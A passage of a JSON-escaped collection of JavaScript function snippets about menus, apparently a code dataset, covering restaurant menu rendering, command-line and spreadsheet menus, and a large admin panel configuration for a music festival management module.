indicatorFirstLevel: \\\"\\\",\\n indicatorSecondLevel: \\\"\\\"\\n });\\n }\",\n \"constructor(props) {\\n super(props);\\n\\n // comente lo de abajo por que ahora lo estamos extrallendo del archivo dishes.js\\n this.state = {\\n selectedDish: null\\n }\\n console.log('menu constructor is invoke')\\n \\n }\",\n \"function onOpen() {\\n createMenu();\\n}\",\n \"function loadMenu(){\\n\\t\\tpgame.state.start('menu');\\n\\t}\",\n \"function menu() {\\n this.meal1 = \\\"Ham and Cheese Sandwich\\\",\\n this.meal2 = \\\"Roastbeef Sandwich\\\"\\n }\",\n \"function menuHandler() {\\n console.log('menuHandler');\\n\\n agent.add('Questi sono alcuni dei modi in cui posso aiutarti nella tua visita al nostro store online')\\n agent.add(new Suggestion(`Esplorazione delle categorie`));\\n agent.add(new Suggestion(`Ricerca prodotto specifico`));\\n agent.add(new Suggestion(`Suggerimento prodotto`));\\n}\",\n \"function lijstSubMenuItem() {\\n\\n if ($mLess.text() == \\\"meer\\\") {\\n $mLess.text(\\\"minder\\\")\\n } else {\\n $mLess.text(\\\"meer\\\");\\n\\n }\\n $list.toggleClass('hidden')\\n $resum.get(0).scrollIntoView('slow');\\n event.preventDefault()\\n }\",\n \"function DfoMenu(/**string*/ menu)\\r\\n{\\r\\n\\tSeS(\\\"G_Menu\\\").DoMenu(menu);\\r\\n\\tDfoWait();\\r\\n}\",\n \"function showMenu() {\\n // clear the console\\n console.log('\\\\033c');\\n // menu selection\\n inquirer\\n .prompt([\\n {\\n type: \\\"list\\\",\\n name: \\\"wish\\\",\\n choices: [\\\"View Product Sales by Department\\\", \\\"Create New Department\\\", \\\"Exit\\\"],\\n message: '\\\\nWhat would you like to do? '\\n }\\n ]).then( answer => {\\n switch (answer.wish){\\n case \\\"View Product Sales by Department\\\":\\n showSale();\\n break;\\n case \\\"Create New Department\\\":\\n createDept();\\n break;\\n case \\\"Exit\\\":\\n connection.end();\\n break;\\n default:\\n console.log( `\\\\x1b[1m \\\\x1b[31m\\\\nERROR! Invalid Selection\\\\x1b[0m`);\\n }\\n })\\n}\",\n \"function createMenu() {\\n const menu = document.createElement(\\\"div\\\");\\n for (let section in Menu) {\\n menu.appendChild(createDishSection(Menu[section].name));\\n menu.appendChild(createDishList(Menu[section].dishes));\\n }\\n return menu;\\n}\",\n \"function menuhrres() {\\r\\n\\r\\n}\",\n \"function menuOptions() {}\",\n \"function showMainMenu(){\\n addTemplate(\\\"menuTemplate\\\");\\n showMenu();\\n}\",\n \"function onOpen() { CUSTOM_MENU.add(); }\",\n \"function clickAddnewMenu(){\\n\\t\\t\\n\\t\\t$(\\\"#menuAddNew\\\").show();\\n\\t\\t//$(\\\".categorydropList\\\").load(jssitebaseUrl+\\\"/ajaxActionRestaurant.php?action=categoryDropList\\\");\\n\\t\\t$(\\\"#menuEdit\\\").hide();\\n\\t\\t//$(\\\"#addnew_buttun\\\").hide();\\n\\t\\t$(\\\".restaurantMenuContent\\\").hide();\\n\\t}\",\n \"function menuShow() {\\n ui.appbarElement.addClass('open');\\n ui.mainMenuContainer.addClass('open');\\n ui.darkbgElement.addClass('open');\\n}\",\n \"function onOpen() {\\n SpreadsheetApp.getUi()\\n .createMenu('Great Explorations')\\n .addItem('Match Girls to Workshops', 'matchGirls')\\n .addToUi();\\n}\",\n \"function showMenu(){\\n // shows panel for piano\\n rectMode(CENTER);\\n fill(0, 100, 255);\\n rect(width/2, height/2 - 100, 400, 150);\\n textAlign(CENTER, CENTER), textSize(75);\\n fill(0);\\n text('Piano', width/2, height/2 - 100);\\n \\n // shows panel for guitar\\n rectMode(CENTER);\\n fill(0, 240 , 250);\\n rect(width/2, height/2 + 100, 400, 150);\\n textAlign(CENTER, CENTER), textSize(75);\\n fill(0);\\n text('Guitar', width/2, height/2 + 100);\\n}\",\n \"function fancyRestauratMenu() {\\n subTitle.innerText = fancyRestaurantWelcome;\\n firstButton.classList.add(\\\"hidden\\\");\\n secondButton.classList.add(\\\"hidden\\\");\\n fancyDiv.classList.remove(\\\"hidden\\\");\\n\\n handleFancyRestaurantChoice();\\n}\",\n \"expandMenu() {\\r\\n\\t}\",\n \"function fastFoodRestaurantScene() {\\n subTitle.innerText = fastfoodWelcome;\\n firstButton.classList.add(\\\"hidden\\\");\\n secondButton.classList.add(\\\"hidden\\\");\\n fastDiv.classList.remove(\\\"hidden\\\");\\n\\n handleFastRestaurantChoice();\\n}\",\n \"function setMenu() {\\n var menu = gId('menu');\\n var menu_elements = menu.children;\\n for (var i = 0; i < menu_elements.length; i++) {\\n if (menu_elements[i].textContent != \\\"my stories\\\") {\\n menu_elements[i].style.display = 'none';\\n }\\n }\\n}\",\n \"function _createFoodMenu( data ) {\\n var html = '', note = data.notification ? \\n '
            '+data.notification+'
            ' : '';\\n \\n if ( data.headline ) {\\n var id = getAutoId(); \\n html = '

            '+data.headline+'

            '+note;\\n } else if ( data.subline ) {\\n html = '

            '+data.subline+'

            '+note;\\n } else if ( data.type === 'setmenu-price' ) {\\n html = '
            '+data.price+'
            '+note;\\n } else {\\n var name = data.name ? '
            '+data.name+'
            ' : '';\\n var number = data.number ? '
            '+data.number+'
            ' : '';\\n var price = data.price ? '
            '+data.price+'
            ' : '';\\n\\n var description = data.description ? \\n '
            '+data.description+'
            ' : '';\\n var sashimi = data.sashimi ? \\n '
            '+data.sashimi+'
            ' : '';\\n var type = 'food' + (data.type ? (' -'+data.type) : '') +\\n (sashimi ? ' -has-sashimi' : '') + (number ? '' : ' -no-number');\\n\\n html = '
            ' +\\n number + name + price + sashimi + description + note +\\n '
            '; \\n }\\n return html;\\n}\",\n \"function renderMenu() {\\n\\tvar menu = com.dawgpizza.menu;\\n\\t// grab templates for duplication\\n\\tvar pizzaTemplate = $('.pizza-template');\\n\\tvar drinkDessertTemplate = $('.drink-dessert-template');\\n\\t$.each(com.dawgpizza.menu.pizzas, function() {\\n\\t\\tvar pizzaTemplateClone = pizzaTemplate.clone();\\n\\t\\t// populate the clone's fields\\n \\tpizzaTemplateClone.find('.name').html(this.name);\\n \\tpizzaTemplateClone.find('.description').html(this.description + \\\" \\\" \\n \\t\\t+ this.prices[0]+\\\"/\\\"+this.prices[1]+\\\"/\\\"+this.prices[2]);\\n\\n \\t// data-type=\\\"\\\" data-name=\\\"\\\" data-qty=\\\"\\\" data-price=\\\"\\\"\\n \\tpizzaTemplateClone.find('button.form-control').attr({\\n \\t\\t\\\"data-type\\\": this.type,\\n \\t\\t\\\"data-name\\\": this.name\\n \\t});\\n \\t// add prices to select options\\n \\tvar pizza = this;\\n\\t $.each(pizzaTemplateClone.find('select').children(), function(idx) {\\n\\t \\t$(this).val(pizza.prices[idx]);\\n\\t });\\n\\t if(this.vegetarian) { // put in the vegetarian menu.\\n\\t \\t$('#veggie-spot').append(pizzaTemplateClone);\\n\\t } else { // put in the carnivore menu.\\n\\t \\t$('#meat-spot').append(pizzaTemplateClone);\\n\\t }\\n\\t});\\n\\n\\t$.each(com.dawgpizza.menu.drinks, function() {\\n\\t\\tvar drinkDessertTemplateClone = drinkDessertTemplate.clone();\\n\\t\\t// populate the clone's fields\\n\\t\\tdrinkDessertTemplateClone.find('.name').html(this.name);\\n\\n\\t\\t// data-type=\\\"\\\" data-name=\\\"\\\" data-qty=\\\"\\\" data-price=\\\"\\\"\\n \\tdrinkDessertTemplateClone.find('button.form-control').attr({\\n \\t\\t\\\"data-type\\\": this.type,\\n \\t\\t\\\"data-name\\\": this.name,\\n \\t\\t\\\"data-price\\\": this.price\\n \\t});\\n\\n\\t\\t$('#drinks').append(drinkDessertTemplateClone);\\n\\t});\\n\\n\\t$.each(com.dawgpizza.menu.desserts, function() {\\n\\t\\tvar drinkDessertTemplateClone = drinkDessertTemplate.clone();\\n\\t\\t// populate the clone's fields\\n\\t\\tdrinkDessertTemplateClone.find('.name').html(this.name);\\n\\t\\t// data-type=\\\"\\\" data-name=\\\"\\\" data-qty=\\\"\\\" data-price=\\\"\\\"\\n \\tdrinkDessertTemplateClone.find('button.form-control').attr({\\n \\t\\t\\\"data-type\\\": this.type,\\n \\t\\t\\\"data-name\\\": this.name,\\n \\t\\t\\\"data-price\\\": this.price\\n \\t});\\n\\n\\t\\t$('#desserts').append(drinkDessertTemplateClone);\\n\\t});\\n}\",\n \"function initMenu(){\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"clear\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"properties\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"help\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"rename\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"expand\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"fold\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"---\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"duplicate\\\");\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"append\\\", \\\"delete\\\");\\n\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 0, myNodeEnableProperties);\\n\\toutlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 1, myNodeEnableHelp);\\n outlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 3, myNodeEnableBody);\\t\\t\\n outlet(4, \\\"vpl_menu\\\", \\\"enableitem\\\", 4, myNodeEnableBody);\\t\\t\\n}\",\n \"function Estiliza_menu_itens()\\n{\\n //PARA CADA ITEM DO MENU, BASTA CHAMAR A FUNÇÃO ABAIXO, ESPECIFICANDO\\n //SEU INDICE(NUMERO), SUA COR(STRING), SEU CONTEUDO(STRING), SEU LABEL(STRING)\\n //Estiliza_item(Indice, Cor, Conteudo, Texto Lateral);\\n Estiliza_item(0,\\\"blue\\\",\\\"+\\\",\\\"Adicionar\\\");\\n Estiliza_item(1,\\\"red\\\",\\\"Botão\\\");\\n}\",\n \"function gameMenuStartableDrawer() {\\n if (store.getState().currentPage == 'GAME_MENU' && store.getState().lastAction == 'GAMEDATA_LOADED') {\\n gameMenuStartableStarsid.innerHTML = store.getState().activeGameState.stars.toString() + '/77';\\n }\\n }\",\n \"function ciniki_musicfestivals_main() {\\n //\\n // The panel to list the festival\\n //\\n this.menu = new M.panel('Music Festivals', 'ciniki_musicfestivals_main', 'menu', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.menu');\\n this.menu.data = {};\\n this.menu.nplist = [];\\n this.menu.sections = {\\n// 'search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':1,\\n// 'cellClasses':[''],\\n// 'hint':'Search festival',\\n// 'noData':'No festival found',\\n// },\\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'festivals',\\n 'visible':function() {return M.modFlagSet('ciniki.musicfestivals', 0x40); },\\n 'tabs':{\\n 'festivals':{'label':'Festivals', 'fn':'M.ciniki_musicfestivals_main.menu.switchTab(\\\"festivals\\\");'},\\n 'trophies':{'label':'Trophies', 'fn':'M.ciniki_musicfestivals_main.menu.switchTab(\\\"trophies\\\");'},\\n }},\\n 'festivals':{'label':'Festival', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.menu.sections._tabs.selected == 'festivals' ? 'yes' : 'no';},\\n 'noData':'No Festivals',\\n 'addTxt':'Add Festival',\\n 'addFn':'M.ciniki_musicfestivals_main.edit.open(\\\\'M.ciniki_musicfestivals_main.menu.open();\\\\',0,null);'\\n },\\n 'trophies':{'label':'Trophies', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.menu.sections._tabs.selected == 'trophies' ? 'yes' : 'no';},\\n 'noData':'No Trophies',\\n// 'headerValues':['Category', 'Name'],\\n 'addTxt':'Add Trophy',\\n 'addFn':'M.ciniki_musicfestivals_main.trophy.open(\\\\'M.ciniki_musicfestivals_main.menu.open();\\\\',0,null);'\\n },\\n }\\n this.menu.liveSearchCb = function(s, i, v) {\\n if( s == 'search' && v != '' ) {\\n M.api.getJSONBgCb('ciniki.musicfestivals.festivalSearch', {'tnid':M.curTenantID, 'start_needle':v, 'limit':'25'}, function(rsp) {\\n M.ciniki_musicfestivals_main.menu.liveSearchShow('search',null,M.gE(M.ciniki_musicfestivals_main.menu.panelUID + '_' + s), rsp.festivals);\\n });\\n }\\n }\\n this.menu.liveSearchResultValue = function(s, f, i, j, d) {\\n return d.name;\\n }\\n this.menu.liveSearchResultRowFn = function(s, f, i, j, d) {\\n return 'M.ciniki_musicfestivals_main.festival.open(\\\\'M.ciniki_musicfestivals_main.menu.open();\\\\',\\\\'' + d.id + '\\\\');';\\n }\\n this.menu.switchTab = function(tab) {\\n if( tab != null ) { this.sections._tabs.selected = tab; }\\n this.open();\\n }\\n this.menu.cellValue = function(s, i, j, d) {\\n if( s == 'festivals' ) {\\n switch(j) {\\n case 0: return d.name;\\n case 1: return d.status_text;\\n }\\n }\\n if( s == 'trophies' ) {\\n switch(j) {\\n case 0: return d.category;\\n case 1: return d.name;\\n }\\n }\\n }\\n this.menu.rowFn = function(s, i, d) {\\n if( s == 'festivals' ) {\\n return 'M.ciniki_musicfestivals_main.festival.open(\\\\'M.ciniki_musicfestivals_main.menu.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.nplist);';\\n }\\n if( s == 'trophies' ) {\\n return 'M.ciniki_musicfestivals_main.trophy.open(\\\\'M.ciniki_musicfestivals_main.menu.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.menu.nplist);';\\n }\\n }\\n this.menu.open = function(cb) {\\n if( this.sections._tabs.selected == 'trophies' ) {\\n M.api.getJSONCb('ciniki.musicfestivals.trophyList', {'tnid':M.curTenantID}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.menu;\\n p.data = rsp;\\n p.nplist = (rsp.nplist != null ? rsp.nplist : null);\\n p.refresh();\\n p.show(cb);\\n });\\n } else {\\n M.api.getJSONCb('ciniki.musicfestivals.festivalList', {'tnid':M.curTenantID}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.menu;\\n p.data = rsp;\\n p.nplist = (rsp.nplist != null ? rsp.nplist : null);\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n }\\n this.menu.addClose('Back');\\n\\n //\\n // The panel to display Festival\\n //\\n this.festival = new M.panel('Festival', 'ciniki_musicfestivals_main', 'festival', 'mc', 'large narrowaside', 'sectioned', 'ciniki.musicfestivals.main.festival');\\n this.festival.data = null;\\n this.festival.festival_id = 0;\\n this.festival.section_id = 0;\\n this.festival.schedulesection_id = 0;\\n this.festival.scheduledivision_id = 0;\\n this.festival.invoice_typestatus = '';\\n this.festival.list_id = 0;\\n this.festival.listsection_id = 0;\\n this.festival.nplists = {};\\n this.festival.nplist = [];\\n this.festival.messages_status = 10;\\n this.festival.city_prov = 'All';\\n this.festival.province = 'All';\\n this.festival.registration_tag = '';\\n this.festival.sections = {\\n '_tabs':{'label':'', 'type':'menutabs', 'selected':'sections', 'tabs':{\\n 'sections':{'label':'Syllabus', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'sections\\\\');'},\\n 'registrations':{'label':'Registrations', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'registrations\\\\');'},\\n 'schedule':{'label':'Schedule', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'schedule\\\\');'},\\n 'videos':{'label':'Videos', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'videos\\\\');',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'},\\n },\\n 'comments':{'label':'Comments', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'comments\\\\');',\\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'},\\n },\\n 'competitors':{'label':'Competitors', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'competitors\\\\');'},\\n// 'adjudicators':{'label':'Adjudicators', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'adjudicators\\\\');'},\\n// 'files':{'label':'Files', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'files\\\\');'},\\n 'photos':{'label':'Photos', \\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x04); },\\n 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'photos\\\\');',\\n },\\n// 'sponsors':{'label':'Sponsors', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'sponsors\\\\');',\\n// 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x10); },\\n// },\\n 'messages':{'label':'Messages', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'messages\\\\');',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0400); },\\n },\\n// 'sponsors-old':{'label':'Sponsors', \\n// 'visible':function() { \\n// return (M.curTenant.modules['ciniki.sponsors'] != null && (M.curTenant.modules['ciniki.sponsors'].flags&0x02) == 0x02) ? 'yes':'no'; \\n// },\\n// 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'sponsors-old\\\\');',\\n// },\\n 'more':{'label':'More...', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'more\\\\');'},\\n }},\\n '_moretabs':{'label':'', 'type':'menutabs', 'selected':'adjudicators', \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'more' ? 'yes' : 'no'; },\\n 'tabs':{\\n 'invoices':{'label':'Invoices', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'invoices\\\\');'},\\n 'adjudicators':{'label':'Adjudicators', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'adjudicators\\\\');'},\\n 'certificates':{'label':'Certificates', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'certificates\\\\');'},\\n 'lists':{'label':'Lists', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'lists\\\\');',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x20); },\\n },\\n 'emails':{'label':'Emails', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'emails\\\\');',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0200); },\\n },\\n 'files':{'label':'Files', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'files\\\\');'},\\n 'sponsors':{'label':'Sponsors', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'sponsors\\\\');',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x10); },\\n },\\n/* 'sponsors-old':{'label':'Sponsors', \\n 'visible':function() { \\n return (M.curTenant.modules['ciniki.sponsors'] != null && (M.curTenant.modules['ciniki.sponsors'].flags&0x02) == 0x02) ? 'yes':'no'; \\n },\\n 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\\\'sponsors-old\\\\');',\\n }, */\\n }},\\n 'details':{'label':'Details', 'aside':'yes', \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' ? 'yes' : 'no';},\\n 'list':{\\n 'name':{'label':'Name'},\\n 'start_date':{'label':'Start'},\\n 'end_date':{'label':'End'},\\n 'num_registrations':{'label':'# Reg'},\\n }},\\n// '_more':{'label':'', 'aside':'yes', \\n// 'list':{\\n// 'adjudicators':{'label':'Adjudicators', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\\\'adjudicators\\\\');'},\\n// }},\\n 'download_buttons':{'label':'', 'aside':'yes',\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'sections' ? 'yes' : 'no'; },\\n 'buttons':{\\n 'download':{'label':'Download Syllabus (PDF)', \\n 'fn':'M.ciniki_musicfestivals_main.festival.syllabusDownload();',\\n },\\n }},\\n 'syllabus_search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':5,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' ? 'yes' : 'no'; },\\n 'hint':'Search class names',\\n 'noData':'No classes found',\\n 'headerValues':['Section', 'Category', 'Class', 'Fee', 'Registrations'],\\n },\\n '_stabs':{'label':'', 'type':'paneltabs', 'selected':'sections', \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' ? 'yes' : 'no'; },\\n 'tabs':{\\n 'sections':{'label':'Sections', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(null,\\\\'sections\\\\');'},\\n 'categories':{'label':'Categories', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(null,\\\\'categories\\\\');'},\\n 'classes':{'label':'Classes', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(null,\\\\'classes\\\\');'},\\n }},\\n 'sections':{'label':'', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'sections' ? 'yes' : 'no'; },\\n 'sortable':'yes',\\n 'sortTypes':['text', 'number'],\\n 'headerValues':['Section', 'Registrations'],\\n 'addTxt':'Add Section',\\n 'addFn':'M.ciniki_musicfestivals_main.section.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'mailFn':function(s, i, d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.section\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n 'editFn':function(s,i,d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.section.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',\\\\'' + d.id + '\\\\',M.ciniki_musicfestivals_main.festival.festival_id, M.ciniki_musicfestivals_main.festival.nplists.sections);';\\n }\\n return '';\\n },\\n },\\n 'si_buttons':{'label':'', \\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.data.sections.length == 0 ? 'yes' : 'no'; },\\n 'buttons':{\\n 'copy':{'label':'Copy Previous Syllabus, Lists & Settings', \\n 'fn':'M.ciniki_musicfestivals_main.festival.festivalCopy(\\\"previous\\\");',\\n },\\n }},\\n 'categories':{'label':'', 'type':'simplegrid', 'num_cols':3,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'categories' ? 'yes' : 'no'; },\\n 'sortable':'yes',\\n 'sortTypes':['text', 'text', 'number'],\\n 'headerValues':['Section', 'Category', 'Registrations'],\\n 'addTxt':'Add Category',\\n 'addFn':'M.ciniki_musicfestivals_main.category.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'mailFn':function(s, i, d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.category\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n },\\n 'classes':{'label':'', 'type':'simplegrid', 'num_cols':5,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'classes' ? 'yes' : 'no'; },\\n 'sortable':'yes',\\n 'sortTypes':['text', 'text', 'text', 'number', 'number'],\\n 'headerValues':['Section', 'Category', 'Class', 'Fee', 'Registrations'],\\n 'addTxt':'Add Class',\\n 'addFn':'M.ciniki_musicfestivals_main.class.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,0,M.ciniki_musicfestivals_main.festival.festival_id,null);',\\n 'mailFn':function(s, i, d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.class\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n },\\n 'registration_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'sections',\\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 ? 'yes' : 'no'; },\\n 'tabs':{\\n 'sections':{'label':'Sections', 'fn':'M.ciniki_musicfestivals_main.festival.switchRegTab(\\\"sections\\\");'},\\n 'teachers':{'label':'Teachers', 'fn':'M.ciniki_musicfestivals_main.festival.switchRegTab(\\\"teachers\\\");'},\\n 'tags':{'label':'Tags', \\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\\n 'fn':'M.ciniki_musicfestivals_main.festival.switchRegTab(\\\"tags\\\");',\\n },\\n }}, \\n 'ipv_tabs':{'label':'', 'aside':'yes', 'type':'paneltabs', 'selected':'all',\\n 'visible':function() { return (['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02) ? 'yes' : 'no'; },\\n 'tabs':{\\n 'all':{'label':'All', 'fn':'M.ciniki_musicfestivals_main.festival.switchLVTab(\\\"all\\\");'},\\n 'inperson':{'label':'Live', 'fn':'M.ciniki_musicfestivals_main.festival.switchLVTab(\\\"inperson\\\");'},\\n 'virtual':{'label':'Virtual', 'fn':'M.ciniki_musicfestivals_main.festival.switchLVTab(\\\"virtual\\\");'},\\n }}, \\n 'registration_sections':{'label':'', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected == 'sections' ? 'yes' : 'no'; },\\n 'mailFn':function(s, i, d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.section\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n },\\n 'registration_teachers':{'label':'', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected == 'teachers' ? 'yes' : 'no'; },\\n 'mailFn':function(s, i, d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.students\\\\',\\\\'' + d.id + '\\\\');';\\n } \\n return '';\\n },\\n },\\n 'registration_tags':{'label':'', 'aside':'yes', 'type':'simplegrid', 'num_cols':1,\\n 'visible':function() { return ['registrations','videos'].indexOf(M.ciniki_musicfestivals_main.festival.sections._tabs.selected) >= 0 && M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected == 'tags' ? 'yes' : 'no'; },\\n 'mailFn':function(s, i, d) {\\n if( d != null ) {\\n return 'M.ciniki_musicfestivals_main.message.addnew(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',M.ciniki_musicfestivals_main.festival.festival_id,\\\\'ciniki.musicfestivals.registrationtag\\\\',\\\\'' + d.name + '\\\\');';\\n } \\n return '';\\n },\\n },\\n 'registration_buttons':{'label':'', 'aside':'yes', \\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='registrations'?'yes':'no';},\\n 'buttons':{\\n 'excel':{'label':'Export to Excel', \\n 'fn':'M.ciniki_musicfestivals_main.festival.downloadExcel(M.ciniki_musicfestivals_main.festival.festival_id);',\\n },\\n 'pdf':{'label':'Registrations PDF ', \\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections.registration_tabs.selected=='sections'?'yes':'no';},\\n 'fn':'M.ciniki_musicfestivals_main.festival.downloadPDF(M.ciniki_musicfestivals_main.festival.festival_id);',\\n },\\n }},\\n 'registration_search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':5,\\n 'visible':function() {return M.ciniki_musicfestivals_main.festival.sections._tabs.selected=='registrations'?'yes':'no';},\\n 'hint':'Search',\\n 'noData':'No registrations found',\\n 'headerValues':['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Virtual'],\\n 'cellClasses':['', 'multiline', '', '', '', 'alignright'],\\n },\\n 'registrations':{'label':'Registrations', 'type':'simplegrid', 'num_cols':6,\\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'registrations' ? 'yes' : 'no'; },\\n 'headerValues':['Class', 'Registrant', 'Teacher', 'Fee', 'Status', 'Virtual'],\\n 'sortable':'yes',\\n 'sortTypes':['text', 'text', 'text', 'altnumber', 